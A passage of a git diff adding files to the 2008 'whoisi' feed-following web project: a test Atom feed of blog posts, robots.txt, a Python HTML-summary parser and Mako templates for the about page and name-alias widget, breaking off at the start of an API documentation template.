+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="104" height="96" viewBox="0 0 104 96">
+  <desc><![CDATA[
+    Scales of Justice.  Based on work
+    Copyright 2007 by Ken A L Coar.  All rights reserved.
+    The design and this SVG rendition are protected by copyright law,
+    and may not be used or reproduced without the express
+    permission of the author, coar@apache.org.
+  ]]></desc>
+  <g fill='#cbb820' stroke='#cbb820'>
+    <path d='M1,69l13-51l13,51M77,69l13-51l13,51' fill='none'/>
+    <path d='M0,69c5,9,23,9,28,0zM76,69c5,9,23,9,28,0zM48,94l2-88l2-4l2,4l2,88z' stroke='none'/>
+    <path d='M52,14c6-17,35,9,40,0c-2,14-34-14-40,5c-6-19-38,9-40-5c5,9,34-17,40,0'/>
+  </g>
+</svg>
+<p>I’ve often found lawyers frustrating.  No matter how carefully you craft a question to only permit answers of <b>yes</b> or <b>no</b>, they always seem to find a way to pick door number 3.</p>
+<p>Given that, I should have known better in <a href="http://www.apache.org/foundation/records/minutes/2007/board_minutes_2007_07_18.txt">July</a> when I volunteered to take over a vacancy as Chair of the ASF Legal Affairs Committee when <a href="http://en.oreilly.com/oscon2008/public/schedule/speaker/3809">Cliff Schmidt</a> decided to devote more of his time to <a href="http://www.literacybridge.org/about.html">Literacy Bridge</a>.  And I certainly should have known better than to volunteer to take an unfinished <a href="http://people.apache.org/~rubys/3party.html">third party licensing policy</a> to completion.</p>
+<p>Fast forward to yesterday.  We had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  New members were elected too — those names will dribble out as they are informed and (hopefully) accept.</p>
+<p>At that meeting, the tables were turned.  Instead of it being me crying for a simple yes or no answer, a number of members, led by <a href="http://www.betaversion.org/~stefano/">Stefano</a> and <a href="http://enthusiasm.cozy.org/">Ben</a> led the charge and came after me complete with torches and pitchforks.  OK, so I’m exaggerating slightly.  There were no torches.  And only <b>really</b> tiny pitchforkes.  Actually they weren’t pitchforks at all — more like Monty Python-esque <a href="http://www.youtube.com/watch?v=9V7zbWNznbs">taunting</a>.  Oh, and it was not directed at me, exactly.  Just at the lack of closure.  On what <b>clearly</b> must be a series of simple <em>yes</em> and <em>no</em> questions.  I mean really.  For example, is the <a href="http://markmail.org/message/aw7fexnksqq2gvao">Creative Commons Attribution license</a> version 2.5 compatible with the <a href="http://www.apache.org/licenses/LICENSE-2.0.html">Apache License version 2.0</a>?  Surely <b>that</b> is a yes or no question, right?  Actually, <a href="http://markmail.org/message/jafgk762wylbhzru">no</a>.  But we can quickly come up with a <a href="http://markmail.org/message/aarfydgmuay6cgg6">set of guidelines</a> that everybody can live with.  And, after all is said and done, isn’t that what everybody really needs?</p>
+<p>But I digress.  Where was I?  Oh, yes, the meeting.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</p>
+<p>My plans here on out is to push for <a href="http://people.apache.org/~rubys/3party.html#category-x">Category X licenses</a> as well as the <a href="http://people.apache.org/~rubys/3party.html#transition-examples">transition examples</a> to be added to the <a href="http://www.apache.org/legal/resolved.html">resolved legal questions</a>.  And to state that the work on best practices and specific limited exemptions for all other licenses (effectively all the licenses known to be in category B, and all licenses yet to be explored) is ongoing.  And with that jedi-like hand wave coupled with the Apache secret weapon: namely an open invitation for all those who are affected by this to join legal-discuss and help work out the issues (also known as the <em>where’s your patch?</em> or <em>thanks for volunteering</em> defense), the villages will once again be peaceful.</p>
+<p>Wish me luck.  Oh, and don’t tell anybody about my secret plan.  Nobody reads my blog anyway.</p>
+<p>And if any of you out there are lawyers: I’m sorry for the trouble I’ve given you in the past.</p></div></content>
+    <updated>2008-06-06T08:20:07-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2853</id>
+    <link href="/blog/2008/06/05/Rails-2-1"/>
+    <link rel="replies" href="2853.atom" thr:count="3" thr:updated="2008-06-15T00:44:07-04:00"/>
+    <title>Rails 2.1</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, Third Edition</a> has been updated to <a href="http://weblog.rubyonrails.org/2008/6/1/rails-2-1-time-zones-dirty-caching-gem-dependencies-caching-etc">Rails 2.1</a>.  The biggest visible change is the <a href="http://ryandaigle.com/articles/2008/4/2/what-s-new-in-edge-rails-utc-based-migration-versioning">UTC-based migrations</a>.  It is amazing how fast <a href="http://pragprog.com/titles/rails3/errata#e32259">beta readers</a> pick up on details such as these.</div></content>
+    <updated>2008-06-05T09:51:58-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2852</id>
+    <link href="/blog/2008/06/04/Wii-Fit"/>
+    <link rel="replies" href="2852.atom" thr:count="4" thr:updated="2008-06-11T16:40:52-04:00"/>
+    <title>Wii Fit</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="143" height="70" viewBox="0 0 143 70">
+  <path d='M2,6h14l12,45l11-41c3-7,13-7,16,0l11,41l12-45h14l-17,58c-3,7-13,7-16,0l-12-39l-12,39c-3,7-13,7-16,0zM99,68v-43h14v43zM126,68v-43h14v43z' fill='#999'/>
+  <circle cx='133' cy='10' fill='#999' r='8'/>
+  <circle cx='106' cy='10' fill='#999' r='8'/>
+</svg>
+<p>Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</p>
+<p>I find that I’m good at activities that require me to stand relatively still on two feet — things like the “Warrior Pose” and even “Table Tilt”, but not quite so good at activities either that require rapid shifting such as “Soccer Heading” or standing on one foot such as “Tree”.  I can do “Push Ups and Side Planks” with ease, but can’t for the life of me do “Hula Hoops”.  I am getting better at “Ski Slalom” though — I’ve actually managed to make it down the hill without missing any of the flagged regions — once.</p></div></content>
+    <updated>2008-06-04T19:21:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2851</id>
+    <link href="/blog/2008/05/29/Scaling-Rails-Down"/>
+    <link rel="replies" href="2851.atom" thr:count="4" thr:updated="2008-06-13T07:28:38-04:00"/>
+    <title>Scaling Rails... Down</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>What I mean by scaling down is to places where I would not have previously thought it was worth the time or effort to build a web application.  In many cases, I am talking single user, single table applications whose usefulness may last only a few months or even days.  The ability to go from concept to running code preloaded with live data in five minutes or less is truly a game changer for me.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.  It is said that Rails itself was factored out of live running application, and perhaps after I create a few more examples, I will be able to fully see the commonality and be able to build a generator and/or a small wizard application (built on Rails, natch).</p>
+<p>The six steps to a running application are <code>rails application</code>, <code>cd application</code>, <code>ruby script/generate scaffold table attrs...</code>, <code>rake db:migrate</code>, <em>load</em> data, <code>ruby script/server</code>, and <em>tweak</em>.  The keys being <code>scaffold</code>, <em>load</em>, and <em>tweak</em>.</p>
+<h3 id="errata">Errata</h3>
+<p>The first example is <a href="http://intertwingly.net/stories/2008/05/29/errata.rb">errata</a>.  <a href="http://pragprog.com/">Pragmatic Programmers</a> hosts a simple <a href="http://pragprog.com/titles/rails3/errata/">errata</a> page that contains input that has been received to date beta of books.  As I’m working (sometimes offline), I like having the ability to annotate these records as to whether I have made the fix, am deferring the suggestion for now, or (for whatever reason) the fix is resolved another way.</p>
+<p>So I define a model for an erratum consisting of three groups of attributes: ones that show up in the index and on the individual edit page, ones that are in the xml file but I’m not concerned about for the moment, and additional  attributes that represent annotation.</p>
+<p>The “tweaks” include defining a virtual attribute in the model for a “beta_page” that combines the <code>title_release_reported_in</code> and <code>pdf_page</code> fields into one, highlights errata which were first seen within the last 24 hours, filter the index to only show issues which haven’t been categorized, turn off session support (as this is a single user application), and some minor CSS.</p>
+<p>Loading is as simple as an xml parse of the <a href="http://pragprog.com/titles/rails3/errata/index.xml">input document</a>, some minor type coercions, name mapping, and filtering, and into the database it goes.  This step can be rerun multiple times as it will only replace the columns which were originally sourced from the document, and will only add new rows when a new errata_id is encountered.</p>
+<p><a href="http://intertwingly.net/stories/2008/05/29/errata.rb">this code</a> does all that and launches a server.  Up and running in five minutes indeed.  And <a href="http://intertwingly.net/stories/2008/05/29/report.html.erb">additional reports</a> are easy enough to add later.</p>
+<h3 id="agenda">Agenda</h3>
+<p>The second example is <a href="http://intertwingly.net/stories/2008/05/29/agenda.rb">agenda</a>.  The <a href="http://www.apache.org/foundation/board/">ASF Board</a> meetings each have an agenda that is of the same basic format as the <a href="http://www.apache.org/foundation/board/calendar.html">minutes</a>, but with room for individual directors to leave comments and to “pre-approve” individual reports.  As an officer, director, and secretary, I need to interleave reporting, participating, and recording activities all the while coping with a document that is in a decidedly non-linear format.  I’ve been able to cope using browser tabs and having a <a href="http://intertwingly.net/blog/2008/03/08/Switched">second monitor</a> has been a real blessing, but having a single application that enables me to navigate within the document and record comments inline would be helpful.</p>
+<p>Once again, there are three groups of attributes involved: ones that show only in the index, ones that show both in the index and on the individual report pages, and ones that represent annotations.</p>
+<p>Tweaks include color coding the rows based on the status of the report (missing, ready for review, approved with comments, and simply approved) and changing the flow in the controller to move onto the next report after an update is made.</p>
+<p>The loading step is the most difficult one here as it involves some gnarly regular expressions and, in the case of Additional Officer Reports and Committee Reports requires two passes.  The actual interaction with the database is trivial.</p>
+<p>The “market” for the above application is likely only “one”, or at most a dozen or so (directors plus guests), and as such would probably still remain unwritten except for the fact that I was bored on a plane ride out and this gave me something to do.  Future work would include expanding to the “prep” stage (i.e., highlight which reports are ready but have not been reviewed by me just yet), and to the “publish” state (first pass generation of the report based on the agenda and annotations).</p></div></content>
+    <updated>2008-05-29T13:58:37-04:00</updated>
+  </entry>
+
+</feed>
+
diff --git a/whoisi/static/tests/relative_feed.html b/whoisi/static/tests/relative_feed.html
new file mode 100644 (file)
index 0000000..68cc57c
--- /dev/null
@@ -0,0 +1,9 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="First Feed" href="relative_feed.atom"/>
+</head>
+<body>
+ZOMG!!!
+</body>
+</html>
+
diff --git a/whoisi/static/txt/robots.txt b/whoisi/static/txt/robots.txt
new file mode 100644 (file)
index 0000000..090b4eb
--- /dev/null
@@ -0,0 +1,9 @@
+User-agent: *
+Disallow: /follow
+Disallow: /everyone
+Disallow: /search
+Disallow: /addform
+Disallow: /recommendations
+Disallow: /genrecommendations
+Disallow: /api
+
diff --git a/whoisi/summary.py b/whoisi/summary.py
new file mode 100644 (file)
index 0000000..25ae169
--- /dev/null
@@ -0,0 +1,233 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from sgmllib import SGMLParser
+from xml.sax import saxutils
+from utils.display import confirm_escape
+
+# This class will try and extact a rough text summary of an entry.
+# Breaks on blocks and don't try and display anything that
+# complicated.
+
+# list that feedparser will generate
+
+# acceptable_elements = ['a', # inline, ignore
+#                        'abbr', # inline, remove
+#                        'acronym', # inline, ignore
+#                        'address', # block
+#                        'area', # inline, remove 
+#                        'b', # inline, ignore
+#                        'big', # inline, ignore
+#                        'blockquote', # block
+#                        'br', # line break, pass through
+#                        'button', # block, but should remove
+#                        'caption', # part of a table, ignore http://www.w3schools.com/tags/tag_caption.asp
+#                        'center', # block, but might want to pass through
+#                        'cite', # inline, ignore
+#                        'code', # inline, but might want to pass through
+#                        'col', # part of a table
+#                        'colgroup', # part of a table
+#                        'dd', # part of a definition list http://htmlhelp.com/reference/html40/lists/dd.html
+#                        'del', # inline
+#                        'dfn', # inline, ignore
+#                        'dir', # block, same as <ul>
+#                        'div', # block
+#                        'dl', # block, definition list http://htmlhelp.com/reference/html40/lists/dl.html
+#                        'dt', # inline? http://htmlhelp.com/reference/html40/lists/dt.html
+#                        'em', # inline
+#                        'fieldset', # forms - ignore
+#                        'font', # inline - ignore
+#                        'form', # form - ignore
+#                        'h1', 'h2', 'h3', 'h4', 'h5', 'h6', # block
+#                        'hr', # block
+#                        'i', # inline
+#                        'img', # block, but need to process
+#                        'input', # form, ignore
+#                        'ins', # inline, ignore
+#                        'kbd', # form, ignore
+#                        'label', # form, ignore
+#                        'legend', # inline, remove
+#                        'li', # list item, ?
+#                        'map', # inline, remove
+#                        'menu', # form, remove
+#                        'ol', # block, ordered list
+#                        'optgroup', # form, remove
+#                        'option', # form, remove
+#                        'p', # block
+#                        'pre', # block, pass through?
+#                        'q', # inline
+#                        's', # inline
+#                        'samp', # like pre?
+#                        'select', # form, remove
+#                        'small', # inline
+#                        'span', # inline
+#                        'strike', # inline, remove?
+#                        'strong', # inline, remove?
+#                        'sub', # inline, remove?
+#                        'sup', # inline, remove?
+#                        'table', # table, remove?
+#                        'tbody', # table, remove?
+#                        'td', # table, remove?
+#                        'textarea', # table, remove
+#                        'tfoot', # table, remove
+#                        'th', # table, remove
+#                        'thead', # table, remove
+#                        'tr', # table, remove
+#                        'tt', # table, remove
+#                        'u', # inline
+#                        'ul', # block list
+#                        'var'] # inline
+
+class SummaryCreator(SGMLParser):
+
+    # each of these represents a line break - taken from feedparser
+    # and pared down quite a bit
+    block_elements = ['address', 'blockquote', 'center', 'div',
+                      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
+                      'hr', 'p', 'pre' ]
+
+    # not used yet, but we'll need them at some point
+    passthrough_elements = [ 'br', 'code', 'pre', 'samp' ]
+
+    # stop processing when we hit these elements
+    stop_elements = [ 'button', 'caption', 'col', 'colgroup', 'dd', 'dir',
+                      'dl', 'dt', 'fieldset', 'form', 'input', 'kbd', 'label',
+                      'li', 'menu', 'ol', 'optgroup', 'option', 'select',
+                      'table', 'tbody', 'td', 'textarea'
+                      'tfoot', 'th', 'thead', 'tr', 'ul' ]
+
+    def __init__(self):
+        self.pieces = []
+        self.blocks = []
+        self.processing = True
+        self.had_more_data = False
+        SGMLParser.__init__(self)
+
+    def reset(self):
+        SGMLParser.reset(self)
+
+    # Any time we encounter the start of a block, we take any current
+    # data and save it as a block.  Then we start a new one.  If we
+    # encounter a "bad" tag that we don't want to render we stop
+    # processing.
+
+    def unknown_starttag(self, tag, attrs):
+        # if we have an image in the data we always have something
+        # more to display
+        if tag == 'img':
+            self.had_more_data = True
+
+        if not self.processing:
+            return
+
+        if tag in self.block_elements:
+            self.start_block()
+
+        if tag in self.stop_elements:
+            self.processing = False
+
+    def unknown_endtag(self, tag):
+        if tag in self.block_elements:
+            self.end_block()
+
+    def handle_charref(self, ref):
+        # called for each character reference, e.g. for '&#160;', ref will be '160'
+        # Reconstruct the original character reference.
+        if self.processing:
+            self.pieces.append('&#%(ref)s;' % locals())
+        else:
+            self.had_more_data = True
+        
+    def handle_entityref(self, ref):
+        # called for each entity reference, e.g. for '&copy;', ref will be 'copy'
+        # Reconstruct the original entity reference.
+        if self.processing:
+            self.pieces.append('&%(ref)s;' % locals())
+        else:
+            self.had_more_data = True
+
+    def handle_data(self, data):
+        if self.processing:
+            self.pieces.append(saxutils.escape(data))
+        else:
+            self.had_more_data = True
+
+    def output(self):
+        retval = u''
+
+        total_words = 0
+
+        # make sure to close any trailing blocks
+        self.end_block()
+
+        for i in self.blocks:
+            if not len(i):
+                continue
+
+            # don't output more than 150 words or so
+            txt = u''.join(i).strip()
+            if len(txt) == 0:
+                continue
+
+            wc = len(txt.split())
+            if total_words + wc > 150:
+                self.had_more_data = True
+                break
+
+            total_words += wc
+
+            retval += u'<p>\n' + confirm_escape(txt) + u'</p>\n'
+
+        return retval, self.had_more_data
+
+    # Note these two can be called one after the other.  Note that
+    # some block elements don't have and end tag (<p>) so we can
+    # either start a block from a start tag or and end tag.
+    def start_block(self):
+        if len(self.pieces):
+            self.blocks.append(self.pieces)
+
+        self.pieces = []
+
+    def end_block(self):
+        if len(self.pieces):
+            self.blocks.append(self.pieces)
+            self.pieces = []
+
+def debug_run():
+    x = u'<a href="http://www.typetive.com/candyblog/item/cadbury_orange_creme_eggs/">WANT</a><br /><br />Seriously. I want.'
+    sc = SummaryCreator()
+    sc.feed(x)
+    print sc.output()
+
+if __name__ == "__main__":
+    debug_run()
+
+#    import feedparser
+#    f = feedparser.parse("/tmp/atom.xml")
+
+#    for i in f["entries"]:
+#        sc = SummaryCreator()
+#        sc.feed(i.content[0].value)
+#        print sc.output()
+
+
diff --git a/whoisi/templates/__init__.py b/whoisi/templates/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/whoisi/templates/about.mak b/whoisi/templates/about.mak
new file mode 100644 (file)
index 0000000..f7c1cd9
--- /dev/null
@@ -0,0 +1,150 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: About this site.</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<h1>This is whoisi.  It's a little bit different.</h1>
+
+<hr width="60%" align="left">
+
+<h2>Whoisi is designed to help you keep track of your friends.  But not like other sites.</h2>
+
+<p>
+There are sites similar to whoisi popping up all over the Internet.
+Each one claims to help you keep track of your friends and each one of
+them have the exact same qualities:
+</p>
+
+<ul>
+
+<li>The site asks you to sign up for an account to try it.  (It's free
+and easy!)</li>
+
+<li>They ask you to give them your gmail password so they can mine
+your contact information and try and connect you with lots of other
+people who are also on the site.</li>
+
+<li>Then you're allowed to blog, comment, collect, connect, make
+friends, mail your friends to let them know you're on this <em>cool
+new site</em> and that you should make an account too.
+
+</ul>
+
+<h2>Whoisi doesn't ask you to do any of these things.</h2>
+
+<p>
+There's a basic problem with those steps.  Every one of those sites
+requires that you have your friends sign up and partake in the site,
+make the same friends over and over again, and hopefully find the site
+useful.  The result?  Social networking overload.  Friends uttering
+"<em>ugh, not another fracking account that I have to take care
+of</em>."  Every site needs to scale and handle millions of users to
+have the kind of reach that any one individual needs to be able to
+reach enough of their friends.
+</p>
+
+<h2>Whoisi: No accounts required.</h2>
+
+<p>
+Instead of asking you to sign up for an account, you can just start
+using whoisi.  Find someone on the site you want to follow?  Just
+click the "Follow Person" next to their name.  No signup, no nothing.
+All it does is set a cookie.  And if you want to save that login so
+you can connect later or log in from another machine?  Check out the
+"Login Later" link on the right hand side and bookmark the magic url.
+It's as easy as that.  You can stay as anonymous as you want.
+</p>
+
+<h2>Whoisi lets you figure out who you want to follow.</h2>
+
+<p>
+The real difference between whoisi and other sites is the way that
+keep track of your friends.  Much like an RSS reader where you add
+feeds of people you know and keep track of them, whoisi asks you do do
+the same.  Except that you're asked to create entries for your friends
+first and add all of their feeds.  That small amount of work that
+you've done makes it easier down the road for someone else to come
+along and follow that person as well.  Your friends don't have to
+participate in whoisi for you to be able to keep track of them, but if
+they do down the road, you've made it much easier for them.
+</p>
+
+<h2>Whoisi is an experiment in human collaboration.</h2>
+
+<p>
+Whoisi borrows this idea
+from <a href="http://www.wikipedia.org">Wikipedia</a>.  That
+collectively humans can build a great database of knowledge with great
+collaborative tools.  Whoisi doesn't use <a target="_blank"
+href="http://www.flickr.com/photos/8345192@N03/2574425618/">robots</a>
+and doesn't use <a target="_blank"
+href="http://www.youtube.com/watch?v=vgYhLIThTvk">spiders.</a>
+Instead it relies on humans who are interested in what fellow humans
+are up to.
+</p>
+
+<h2>Whoisi makes it easy to keep track of a lot of people without
+getting overloaded.</h2>
+
+<p>
+Whoisi uses a time-based approach to seeing what your friends are
+doing.  No more read/unread status indicators or mail-like 3-pane
+views.  Just a very simple and elegant flow of information from your
+friends.  You can scan quickly and see what's going on, look at what
+you want and then move on to the next thing.  It's
+about flow.
+</p>
+
+<h2>Everyone is a stakeholder.</h2>
+
+<p>
+If you find objectionable material on the site (adult material,
+spammers, the main public feeds from places like Twitter or
+FriendFeed) and if they are not related to a specific person, you
+should always feel free to remove it.  As a public resource, it's up
+to everyone to keep the site free of things that make it less useful
+to everyone.  Don't be shy about editing.
+</p>
+
+<h2>I hope you like it.</h2>
+
+<p>
+Whoisi is still <a href="http://www.youtube.com/watch?v=Up_la0LnCjw"
+target="blank">an experiment</a>.  It might work, it might not.  But
+you should try it out and see if you like it.
+</p>
+
+<h2>More information.</h2>
+
+<p>
+For more information about whoisi, please see
+the <a href="http://www.0xdeadbeef.com/weblog/?p=348">original
+post that announced it</a>.  It has a full walk-through and description.
+</p>
diff --git a/whoisi/templates/aliases-widget.mak b/whoisi/templates/aliases-widget.mak
new file mode 100644 (file)
index 0000000..3e81952
--- /dev/null
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.display import is_event_alias, is_group_alias
+%>
+
+<%def name="aliases_widget(person, other_names, display)">
+%if len(other_names) or display == "edit":
+  <div class="other-names">
+  %for n in range(0, len(other_names)):
+<%
+    e_alias = is_event_alias(other_names[n].name)
+    g_alias = is_group_alias(other_names[n].name)
+%>
+    %if e_alias:
+      <span><a href="/e/${e_alias | u}">${other_names[n].name | h}</a>
+    %elif g_alias:
+      <span><a href="/search?search=${g_alias | u}">${other_names[n].name | h}</a>
+    %else:
+      <span>${other_names[n].name | h}
+    %endif
+    %if display == "edit":
+      <a person-id="${person.id}" name-id="${other_names[n].id}" class="name-remove" href="" title="Remove this name">[X]</a>
+    %endif
+    </span>&nbsp;&nbsp;
+  %endfor
+  </div>
+%endif
+</%def>
+
+${aliases_widget(person=person, other_names=other_names, display=display)}
diff --git a/whoisi/templates/api-top-doc.mak b/whoisi/templates/api-top-doc.mak
new file mode 100644 (file)
index 0000000..5ab5804
--- /dev/null
@@ -0,0 +1,805 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
